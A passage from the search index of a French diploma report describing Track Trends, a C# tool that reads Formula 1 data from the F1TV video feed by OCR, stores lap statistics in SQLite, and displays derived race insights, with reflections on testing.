prenne d'un coup une grosse diff\u00e9rence. Cela arrive m\u00eame assez souvent quand des pilotes sortent de la piste. \"Exemple temps au tour\" \"Exemple temps secteur\" Pour ce qui est du DRS et de la position des pilotes, il n'y a pas vraiment de traitement suppl\u00e9mentaire. Non pas car la detection est parfaite, mais par ce que la detection ne peut pas rater de 200 facons. Le DRS ne peut retourner que TRUE ou FALSE et la position du pilote est entre 1 et 20 compris. Le peu de nuance fait que ce sont des cas de figures qui ne demandent pas un traitement particulier au del\u00e0 de l'OCR Stockage des donn\u00e9es Dans ce projet le but n'est pas simplement de trouver les donn\u00e9es et les afficher. L'int\u00e9r\u00eat de les r\u00e9cup\u00e8rer est de pouvoir les comparer \u00e0 d'autres donn\u00e9es pr\u00e9c\u00e9dentes. Le vrai soucis de la F1TV c'est justement que l'on ne peut pas facilement voir les \u00e9volutions. On ne peut voir que des \"photos\" de la situation actuelle de la course. Il faut donc garder en m\u00e9moire les diff\u00e9rentes choses qui se sont pass\u00e9es. Techniquement on pourrait stocker ces donn\u00e9es dans de b\u00eates listes C#. Mais le soucis avec ca c'est que m\u00eame si des outils comme LinQ existent, ca n'est pas le plus pratique quand on veut faire des recherches complexes. Il faut aussi voir que si le projet dans sa forme actuelle aurait peut-\u00eatre pu se satisfaire de listes simples, le but est d'ensuite pouvoir construire sur ces bases pour faire des predictions et des insertions de stats beaucoup plus int\u00e9ressantes qui demandent de faire des requ\u00eates complexe rapidement. Je me suis dit que la meilleure methode serait d'avoir une base de donn\u00e9e dans laquelle je peux faire des requ\u00e8tes SQL. Mais commme je n'ai pas besoin de toutes les features de SQl et que je ne veut pas avoir \u00e0 g\u00e8rer un serveur de base de donn\u00e9e et tout ce qui va avec je me suis dit qu'une bonne option serait d'utiliser SQLITE. \"Logo Sqlite\" ; SQLITE est vraiment pratique car cela me permet d'avoir une DB sans avoir de serveur donc pas vraiment complexe ou quoi que ce soit mais qui conserve les aventages de rapidit\u00e9 et d'utilisation de requetes SQl. J'ai cr\u00e9\u00e9 trois tables dans cette base de donn\u00e9e SQLITE que voici : Base de donn\u00e9e Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL La table Drivers sert juste \u00e0 stocker les diff\u00e9rents noms de pilote pour qu'ils soient utilis\u00e9s dans le reste de la DB La table Pitstops n'est pas vraiment utilis\u00e9e dans l'\u00e9tat actuel du projet. Mais le but \u00e9tait de la remplir d\u00e8s que le programme d\u00e9tectais un arr\u00eat aux stands. Le but est ensuite de pouvoir construire un classement pond\u00e8r\u00e9 en fonction des arr\u00eats des diff\u00e9rents pilotes et d'afficher la stats tout le temps sur l'affichage principal. Elle n'est pas vraiment utilis\u00e9e car la detection de pitstop n'a pas pu \u00eatre commpl\u00eat\u00e9e. De par la nature des donn\u00e9es r\u00e9cup\u00e8r\u00e9es des pneus et des positions, c'est tr\u00e8s difficile de detecter avec prescision un arr\u00eat aux stands. La table Stats est la plus importante car elle contient toutes les informations concernant les pilotes \u00e0 chaque tour. L'id\u00e9e est qu'elle soit remplie \u00e0 chaque tour. Les infos ne sont pas scens\u00e9e \u00eatre les infos live mais plut\u00f4t juste une photo \u00e0 chaque tour de la situation de chaque pilote pour ensuite pouvoir faire des commparaisons tourspar tours. Des donn\u00e9es comme le GapToLeader peuvent \u00e9voluer pendant le tour mais on s'en fiche. Ce qui compte vraiment c'est le temps au tour et les secteurs ainsi que les pneus. Quand remplir la base ? Dans ce projet il y a deux type d'information. Les informations live qui sont stock\u00e9es dans des listes et les informations long terme qui sont stock\u00e9es dans la DB. A chaque it\u00e9ration de l'OCR, les donn\u00e9es r\u00e9cup\u00e8r\u00e9es sont stock\u00e9es dans une liste de DRIVERDATA. Les DRIVERDATA sont des structures de donn\u00e9es qui contiennent toutes les infos d'un pilote \u00e0 un instant T. Elles peuvent \u00eatre incompl\u00eates et sont juste la pour faire de petits calculs et determiner quand ins\u00e8rer des donn\u00e9es permanentes. Ce qui nous am\u00e8ne au moment int\u00e9ressant. Comment on d\u00e9termine quand il est int\u00e9ressant d'ins\u00e8rer des informations dans la base de donn\u00e9es. Il y a deux cas de figure ou on pourrait vouloir ins\u00e8rer des infos : Quand un pilote a finit un tour En effet, j'ai estim\u00e9 que les seuls moments ou on veut garder une photo de la situation du pilote c'est quand il passe d'un tour \u00e0 l'autre. Le raisonnement est le suivant : On ne veut pas conserver TOUTES les donn\u00e9es car si on prend une phot toutes les trois secondes, la majorit\u00e9 des informations seront redondantes avec les pr\u00e9c\u00e9dentes. Mais en m\u00eame temps il ne faut pas rater des changements importants de donn\u00e9es. Les seules donn\u00e9es qui changent entre deux passages de l'OCR sont les \u00e9carts entre les pilotes et de temps en temps un nouveau secteur s'affiche. Alors que d'un tour \u00e0 l'autre presque toutes les informations changent. Et on ne perd que les l\u00e9g\u00e8res fluctuations des \u00e9carts entre les pilotes. J'ai donc d\u00e9cid\u00e9 de conserver une photo par tour. Mais c'est bien joli sauf qu'il reste une difficult\u00e9 : Comment savoir qu'un pilote a fait son tour ? Cela peut para\u00eetre simple comme question mais elle est plus difficile qu'il n'y parait. Il faut savoir que en F1 un pilote peut \u00eatre dans son 26\u00e8me tour pendant qu'un autre en est \u00e0 son 24\u00e8me. Chaque pilote a sa propre course et au fur et \u00e0 mesure que les \u00e9carts se creusent il peut y avoir un tour voir plusieurs d'\u00e9cart entre la queue de course et les premiers pilotes. Ensuite il faut savoir qu'il n'est pas marqu\u00e9 sur la f1TV dans quel tour chaque pilote est. Il faut donc le d\u00e9duire en fonction des Data. Voici le code le if qui d\u00e9tecte un nouveau tour if ( DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Sector3 != 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Sector3 == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { //Do stuff } DriverDataLogs est une liste de liste d'informations de pilotes. Chaque DriverDataLogs repr\u00e9sente les 20 photos des donn\u00e9es des pilotes. Cela veut dire que DriverDataLogs[3] repr\u00e9sente toutes les infos des pilotes dans le tour 4 et que DriverDataLogs[3][0] repr\u00e9sente toutes les infos du premier pilote dans le tour 3. Si on analyse un peu ce qui est \u00e9crit avec ces informations, on peut voir que je d\u00e9termine qu'un nouveau tour se d\u00e9finis comme une photo ou le troisi\u00e8me secteur a \u00e9t\u00e9 compl\u00eat\u00e9 et ou il ne l'\u00e9tait pas juste avant. Cela fait sens car quand un pilote compl\u00eate son troisi\u00e8me secteur c'est la que son dernier temps au tour se met \u00e0 jour. Le reste des tests est juste la pour \u00e9viter les faux positifs dans le cas ou un des deux DriverDataLogs[x][x] soit corrompu et que donc la valeur n'aie pas de sens. Cela veut dire que dans des conditions tr\u00e8s sp\u00e9cifiques je pourrais potentiellement rater un tour mais il faudrait vraiment que l'OCR me joue un vilain tour. Quand un pilote a fait un arr\u00eat aux stands Et la on touche le plus difficile. Pourtant un arr\u00eat aau stand ne devrait pas \u00eatre compliqu\u00e9 \u00e0 detecter. C'est quand un pilote change de pneu. Alors il peut changer de pneu en gardant le m\u00eame type de pneu et donc tout repose sur le nombre de tour qu'un pneu fait. Sauf que il faut ajouter \u00e0 cette reflexion qu'un pneu peut \u00eatre chauss\u00e9 sans qu'il soit neuf. Ce qui veut dire que l'on ne peut pas simplement choisir qu'un pilote a chang\u00e9 de pneus quand ses pneus sont \u00e0 1 tour. Il peut tr\u00e8s bien reprendre des pneus de qualif qui peuvent avoir 10 tours dans les pattes. En plus quand le pilote change de pneus il y a un phenomene assez p\u00e9nible qui fait que les deux premiers tours faits avec ne sont pass vraiment d\u00e9chiffrables car ils sont un peu cach\u00e9s derri\u00e8re la lettre qui indique le nouveau pneu chauss\u00e9. Exemple : \"Infographie de pneu qui se chevauche\" Voici le code que j'avais \u00e9crit pour tenter de trouver quand un pilote avait fait un pitstop : if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { //Do stuff } On peut voir que j'essaie de detecter quand le pneu est \u00e0 0 tours (ce qui est le moment ou il y a une lettre \u00e0 la place d'un num\u00e9ro de tour) et que la photo d'avant montrait un pneu normal. On v\u00e9rifie aussi que le pneu a bien \u00e9t\u00e9 detect\u00e9 en verifiant que le pneu n'est pas de type undefined. Le soucis c'est que ce n'est pas rare que l'OCR nous retourne qu'un pneu est vieux de 0 tours et donc il est absolument impossible de faire confiance \u00e0 cette metric. Si on veut utiliser cette methode pour trouver les Pitstop il va falloir avant tout am\u00e9liorer l'OCR sur ce point. Ce soucis mets en lumi\u00e8re un principe assez important de l'informatique \"Ggarbage in, Garbage out\". Si les donn\u00e9es que je recoit ne sont pas g\u00e9niales, le r\u00e9sultat ne sera pas g\u00e9nial non plus. Ce qui est frustrant c'est que la detection des pneus n'est pas si mal mais entre les chiffres qui se chevauchent ce qui nous fait lire 0 alors que c'est juste un un '1' derri\u00e8re un 'H' ou le 1% du temps ou le programme se trompe, on ne peut pour l'instant tout simplement rien faire de mieux. Affichage des donn\u00e9es Maintenant que l'on a stock\u00e9 toutes ces donn\u00e9es, il faut en faire quelque chose sinon ca ne sert a rien. Afficher les donn\u00e9es est techniquement la partie la plus simple du projet. Il faut prendre les donn\u00e9es qui nous int\u00e9ressent de la base de donn\u00e9es et des r\u00e9sultats de l'OCR et les afficher sur des composants Windows Forms. Il y a deux types d'affichages actuellements mis en place dans le projet sur les trois pr\u00e9vus initialement : Affichage direct L'affichage direct est simplement l'affichage du r\u00e9sultat de l'OCR. Par exemple le classement live ainsi que les \u00e9carts entre les pilotes sont affich\u00e9s directement depuis les r\u00e9sultats de l'OCR. Ce ne sont pas forc\u00e9ment des donn\u00e9es prises dans la base de donn\u00e9e. Voici un exemple : for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { DriverData driver = liveData [ driverCount ]; lblDriverName . Text = driver . Name ; lblDriverPosition . Text = driver . Position ; lblDriverLapTime . Text = Reader . ConvertMsToTime ( driver . LapTime ); } C'est l'affichage le plus simple et celui qui est le plus soumis \u00e0 des erreurs. En effet, si un pilote est mal detect\u00e9 on le verra directement mal s'afficher dans la Form principale. C'est \u00e9galement l'affichage le moins int\u00e9ressant car il ne cr\u00e9e aucune information, il ne fait que remontrer les infos que l'on peut d\u00e9ja voir dans la F1TV \"Exemple d'affichage live\" Affichage calcul\u00e9 La encore il y a plusieurs types d'affichages : Affichage Hybride Pour ce qui est des affichages hybrides ce sont des affichages qui vont chercher des informations lives et des informations dans la base de donn\u00e9e. Ils ne font pas de calculs \u00e0 proprement parler mais ils affichent plus d'informations que ce que montre la F1TV. Cela veut dire qu'ils repr\u00e9sentent un d\u00e9but de plusvalue par rapport \u00e0 l'alternative qu'est la page DATA de la F1TV. Ils ne sont pas beaucoup plus durs \u00e0 impl\u00e9menter mais demandent de faire des requ\u00eates \u00e0 la base de donn\u00e9e. Comme exemple d'affichage hybride on a l'affichage des cinq derniers tours d'un pilote. C'est un affichage qui ne demande aucun calcul mais qui permet deja de se rendre compte de si le pilote est enn train de perdre ou gagner du temps ou si il est constant, ce qui n'est pas possible actuellement avec la F1TV \u00e0 moins d'avoir une excellente m\u00e9moire. \"Fen\u00eatre d'informations \u00e0 propos d'un pilote\" Voici un exemmple du type de code necessaire pour afficher ce genre de donn\u00e9es: public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } return lapData ; } public void Display (){ List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ){ Labels [ id ]. Text = LapTime ; id ++; } } Note: Le code montr\u00e9 ici n'est pas forc\u00e9ment le code utilis\u00e9 dans le projet. D'une certaine facon les fen\u00eatres de bataille et de d\u00e9passements sont aussi des hybrides. \"Exemple fen\u00eatre des batailles\" Ici ce sont les batailles qui sont repr\u00e9sent\u00e9es. Aucune donn\u00e9e n'est calcul\u00e9e, c'est litterallement directement les donn\u00e9es de la F1TV, mais la nuance est qu'on ne montre que les pilotes qui sont en train de se battre et que on leur assigne une couleur selon \u00e0 quel point ils sont proches. On a une plus-value sur la F1TV sans pour autant faire de monstres calculs. Pour info, les pilotes consid\u00e8r\u00e9s comme \u00eatant en train de se battre sont les pilotes \u00e0 moins de trois secondes les uns des autres et les couleurs sont suivantes : Vert : Dans la zone de DRS (Moins d'une seconde) Jaune : Plus d'une seconde Noir : Plus de deux secondes \"Exemple fen\u00eatre des d\u00e9passements\" La c'est l'historique des d\u00e9passements qui est affich\u00e9. On pourrait presque dire que c'est un affichage compl\u00eatement calcul\u00e9 car ce ne sont pas des informations disponibles directement sur la F1TV cependant je dirais que cela reste un hybride car il n'y a aucuns calculs. On regarde juste les diff\u00e9rences entre l'ancienne position d'un pilote et la nouvelle et on affiche les changements. Affichage totalement calcul\u00e9 L'affichage compl\u00eatement calcul\u00e9 est un type d'affichage qui ne montre aucune information trouv\u00e9e sur la page de la F1TV. C'est le premier affichage \u00e0 traiter l'information qu'il trouve et il retourne des informations nouvelles. La nuance avec les affichages pr\u00e9dictif est qu'il ne cr\u00e9e pas r\u00e9ellement de l'information, il la d\u00e9duit. Le but est de prendre un certain nombre d'informations trouv\u00e9es sur la page de la F1TV et de calculer des choses pour faire ressortir des tendances \u00e0 l'utilisateur. Cependant on reste sur des informations factuelles. Ce sont des infos d\u00e9duites que techniquement unn humain avec une bonne m\u00e9moire et fort en calcul mental pourrait faire. Mais la c'est fait automatiquement pour tous les pilotes et c'est affich\u00e9 de sorte \u00e0 faire ressortir les valeurs sp\u00e9ciales. Comme c'est un peu plus abstrait, je pense qu'un exemple vaut mieux que 1000 mots. \"Exemple de fen\u00eatre d'informations totalement calcul\u00e9es\" Ci dessus on peut voir un bon exemple. C'est une fen\u00eatre qui montre qui sont les pilotes les plus rapides et les moins rapides et qui montre la diff\u00e9rence de temps au tour. Cette information est totalement d\u00e9duite et n'est en aucun cas trouvable sur la F1TV mais elle n'est pas invent\u00e9e. Elle est simplement calcul\u00e9e. La formule est assez simple, je prend les cinq derniers temps au tour de tous les pilotes. Je fais une moyenne qui donne un temps. Et ensuite je trie les pilotes en fonction de ce temps et je n'affiche que les cinq plus rapide et les cinq plus lents. Ensuite il suffit de prendre le temps le plus rapide et faire une petite soustraction pour avoir l'\u00e9cart. C'est une stat assez int\u00e9ressante car elle lisse les diff\u00e9rences d'un tour \u00e0 l'autre et fait ressortir une tendance. On peut voir pour le grand prix de monaco 2023 par exemple, le moment ou les pneus pluie deviennent plus int\u00e9ressants que les pneus secs car on voit que les pilotes les plus rapides sont les pilotes de fond de grille qui ont chauss\u00e9 les pneus pluie en premier tandis que les plus lents sont les pilotes sur pneus secs vieux. Voici un bout de code qui s'occupe de faire les calculs : List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } Affichage pr\u00e9dictif C'est ici que ca devient vraiment dommage, le projet a mannqu\u00e9 de temps pour impl\u00e9menter des affichages pr\u00e9dictifs mais le potentiel est la ! Un affichage pr\u00e9dictif est un affichage qui cr\u00e9e des informations \u00e0 partir des infos qu'il a mais qui fait plus qu'un calcul. Le but est de tenter de deviner quelque chose. Voici des exemples d'affichages pr\u00e9dictifs qui pourraient \u00eatre mis en place averc l'architecture actuelle du projet : Si un pilote a des pneus depuis plus de 20 tours et que son temps au tour est en chute libre depuis cinq tours. Alors ce pilote va peut-\u00eatre devoir s'arr\u00eater. Si un pilote tourne une seconde au tour plus vite que le pilote devant lui et que ce pilote est \u00e0 10 secondes devant, alors il devrait pouvoir le rattraper d'ici dix tours. Si un arr\u00eat au stand est en moyenne de 23 secondes, alors un pilote 3\u00e8me ressortirais potentiellement 7\u00e8me si il s'arr\u00eate maintenant. Tous ces exemples sont des mini algorythmes pr\u00e9dictifs qui pourraient \u00eatre impl\u00e9ment\u00e9s assez facilement dans l'architecture actuelle du projet et pourraient apporter une immense plus-value si ils sont bien param\u00eatr\u00e9s. On peut m\u00eame imaginer que l'algorythme se corrige tout seul si il voit qu'il a eu tort pour que les course suivante il puisse mieux s'en sortir. Les possibilit\u00e9es sont infinies ! Tests Alors la on arrive \u00e0 la GROSSE erreur de ce projet... Si je ne pouvais changer qu'une seule chose \u00e0 ma facon de faire le projet apr\u00e8s coup c'est ici que je ferai le changement. Les tests sont d'une importance absolument capitale mais si ils sont bien faits, c'est surtout un moyen ultra efficace de v\u00e9rifier que du nouveau code est performant et est beaucoup plus pratique \u00e0 utiliser. Je pense sans rire que j'aurais pu gagner plusieurs jours de travail si j'avais travaill\u00e9 diff\u00e9remment vis-a-vis des tests. Comment ca c'est pass\u00e9 D\u00e8s la cr\u00e9ation du planning pr\u00e9visionnel j'ai fait une erreur capitale. J'ai mis les tests en fin de developpement des features... Et je ne leur ai laiss\u00e9 que tr\u00e8s peu de temps tout en les mettant au milieu du chemin critique ce qui les rends particuli\u00e8rement vuln\u00e9rables si une t\u00e2che du chemin critique est retard\u00e9e. En fait dans ce projet je voulais surtout \u00e9viter de faire comme certains projets que l'on a pu avoir pendant notre formation. C'est \u00e0 dire que je ne voulais surtout pas oublier la doc. Alors j'ai agenc\u00e9 le projet pour commencer par les fondations de la doc, puis en incluant les p\u00e9riodes de programmation et entre ces derni\u00e8re ajouter des Tests dans les trous. Le soucis c'est que du coup les projets \u00e9taient un peu le dernier truc dont je devais me soucier ce qui a \u00e9t\u00e9 une tr\u00e8s mauvaise id\u00e9e. Je me suis retrouv\u00e9 \u00e0 devoir mordre sur les jours de tests car les t\u00e2ches de programmation mettaient plus de temps que pr\u00e9vu (qui elles-m\u00eame auraient p\u00fb \u00eatre plus courte avec une bonne utilisation des tests) et je mme suis retrouv\u00e9 \u00e0 passer outre les tests pour avancer sur le reste du projet. J'ai donc du en panique \u00e0 la toute fin du projet construire quelques tests \"unitaires\" dont l'utilit\u00e9 est tr\u00e8s limit\u00e9e car tout le travail a d\u00e9ja \u00e9t\u00e9 fait et que vu la complexit\u00e9 qu'a pris le projet, faire de vrais tests unitaires est devenu un peu trop compliqu\u00e9 pour valoir le coup. Les seuls tests \"unitaires\" (Je l'\u00e9cris entre quotes car ce ne sont pas vraiment des tests unitaires mais plut\u00f4t des tests tout courts car ils ne sont pas sp\u00e9cifiques) qu'il y a dans le projet final sont des tests exclusivement tourn\u00e9s sur l'OCR. Ils sont d\u00e9ja vraiment pratiques car cela me permet de tester d'autres algorythmes d'OCR et voir si les r\u00e9sultats sont meilleurs ou non mais c'est juste un peu trop tard quoi... Les tests unitaires que j'ai impl\u00e9ment\u00e9s sont un peu tous pareils au niveau du fonctionnement : On choisit une image dans une liste d'images pr\u00e9par\u00e9es qui sont scens\u00e9e repr\u00e9senter le type de donn\u00e9es rencontr\u00e9es par l'application en temps normal On lis le nom de l'image que j'ai mis manuellement en indiquant ce qui \u00e9tait marqu\u00e9 sur l'image On fait un coup d'OCR sur l'image et on compare ce r\u00e9sultat avec la valeur que l'on est scens\u00e9 retrouver En pratique on est sur un code de ce style : [TestMethod()] public void SectorOCR_Test () { string directory = @\"./../../TestImages/Sectors/\" ; foreach ( string file in Directory . GetFiles ( directory )) { Bitmap image = ( Bitmap ) Image . FromFile ( file ); DriverSectorWindow sectorsWindow = new DriverSectorWindow ( image , new Rectangle ( 0 , 0 , image . Width , image . Height ), 1 , true ); string [] paths = file . Split ( '/' ); string fileName = paths [ paths . Length - 1 ]; fileName = fileName . Replace ( \".png\" , \"\" ); int timeMS = ( int ) sectorsWindow . DecodePng (); string time = Reader . ConvertMsToTime ( timeMS ); string [] checkDigits = fileName . Split ( '_' ); string [] digitsToCheck = time . Split ( ':' ); if ( time == \"0:00:000\" ) { Assert . AreEqual ( 0 , Convert . ToInt32 ( checkDigits [ 0 ])); } else { //The ConvertMSToTime will always return three chars so we need to make the checkDigits be also three chars while ( checkDigits . Length != 3 ) checkDigits = new [] { \"0\" }. Concat ( checkDigits ). ToArray (); for ( int i = 0 ; i < checkDigits . Length ; i ++) { //We need to convert to int first because sometimes we have \"08\" and \"8\" and in string its not the same but in int it is Assert . AreEqual ( Convert . ToInt32 ( checkDigits [ i ]), Convert . ToInt32 ( digitsToCheck [ i ])); } } } } Tout le code suppl\u00e9mentaire qui ne fait pas partie des \u00e9tapes cit\u00e9es est juste la pour manipuler le format des r\u00e9sultats pour qu'il soit comparable. \"Exemple d'\u00e9chantillons pour les tests\" Ce qui est pratique avec cette approche c'est qu'il est tr\u00e8s facile de rajouter des cas sp\u00e9cifiques et voir comment le programme les g\u00e8re. Si je vois que un certain nombre est souvent mal reconnu je peux faire expr\u00e8s de le mettre dans le dossier et modifier mon code d'OCR jusqu'\u00e0 ce que le test passe. Si j'avais eu plus de temps j'aurais s\u00fbrement pu ajouter de vrais tests unitaires qui testent des fonctions tr\u00e8s pr\u00e9cises. Par exemple verifier que les diff\u00e9rentes Windows sont bien appel\u00e9es et que les zones se cr\u00e9ent correctement ou m\u00eame plus simplement que la lecture du JSON au d\u00e9marrage marche bien. Il faut savoir que m\u00eame si je n'ai pas eu l'occasion d'\u00e9crire beaucoup de tests sous forme de code. Toute la phase de d\u00e9veloppement de l'OCR j'ai pass\u00e9 plus d'une heure par jour \u00e0 analyser les r\u00e9sultats. Je gardais toutes les images des WINDOWS et je notais dans le nom du fichier ce que l'algorythme trouvais et je passais en revue manuellement les centaines de r\u00e9sultats pour isoler ceux qui posaient probl\u00e8me. C'est comme ca que je me suis rendu compte par exemple que, avec cette police, les 4 et les 1 \u00e9taient souvent confondus. Donc m\u00eame si les tests automatis\u00e9s sont clairement insuffisant par rapport \u00e0 ce que j'aurais peut-\u00eatre du faire, j'ai pass\u00e9 \u00e9norm\u00e9ment de temps \u00e0 tester mon application. Comment ca aurait du se passer Si je devais refaire ce projet aujourd'hui je pense que j'utiliserais un peu la m\u00eame technique que pour la doc. J'aurais mis les t\u00e2ches de Tests directement au d\u00e9but du projet et j'aurais determin\u00e9 le squelette de l'application par la m\u00eame occasion. Je pense que j'aurais mis trois jours pour \u00e9crire tous les tests dont j'aurais besoin et j'aurais fait une strat\u00e9gie de TDD (Test Driven Developpement) par ce que je pense que ca marcherait vraiment super bien sur ce type de projet. J'aurais pris je pense 5 une dixaine d'images compl\u00eates de la F1TV de plusieurs GP diff\u00e9rents et j'aurais mis toutes les fen\u00eatres d\u00e9coup\u00e9es dans des fichiers avec des tests comme ceux que j'ai fait pour ce projet. Et comme ca je saurai que mon algo est bon uniquement quand il aura r\u00e9ussi \u00e0 passer tous les tests. Cela r\u00e8glerait le soucis que j'ai eu le plus : Me retrouver \u00e0 devoir changer l'OCR 5 fois par ce que \u00e0 chaque fois que je d\u00e9veloppe une nouvelle feature je me rends compte d'une faiblesse mon algorythme... Non seulement j'aurai eu beaucoup plus de facilit\u00e9 \u00e0 avancer sur le projet, mais en plus je pense que cela m'aurait fait gagner \u00e9norm\u00e9ment de temps non seulement car je n'ai plus \u00e0 tester tout \u00e0 la main mais en plus par ce que ca veut dire que quand l'OCR passe les tests je n'ai plus jamais \u00e0 m'en soucier. Lecons Je pense que dans mes futurs projets je mettrai les tests en d\u00e9but de projet plut\u00f4t que \u00e0 la fin et je ferai en sorte qu'ils fassent partie du chemin critique et que je ne puisse pas passer \u00e0 c\u00f4t\u00e9 sous pretexte que \"Je n'ai pas le temps\". Ecrire des tests c'est jamais marrant et c'est encore moins marrant quand ils nous emp\u00eachent d'avancer. Mais je suis convaincu que au final c'est un gain de temps et de s\u00e9r\u00e9nit\u00e9 incontournable. R\u00e9sum\u00e9 des difficult\u00e9s techniques [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Optimisation du programme [A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation] Ethique du projet [A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)] Utilisation de Chat GPT [A remplir \u00e0 la fin du projet] Am\u00e9liorations futures [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Conclusion [A remplir la derni\u00e8re semaine du travail de dipl\u00f4me] Notes de code","title":"Rapport Track Trends V1.0"},{"location":"index.html#rapport-track-trends-v10","text":"Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023","title":"Rapport Track Trends V1.0"},{"location":"index.html#introduction","text":"","title":"Introduction"},{"location":"index.html#resume","text":"Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires.","title":"R\u00e9sum\u00e9"},{"location":"index.html#abstract","text":"Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it.","title":"Abstract"},{"location":"index.html#description-du-besoin","text":"Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux 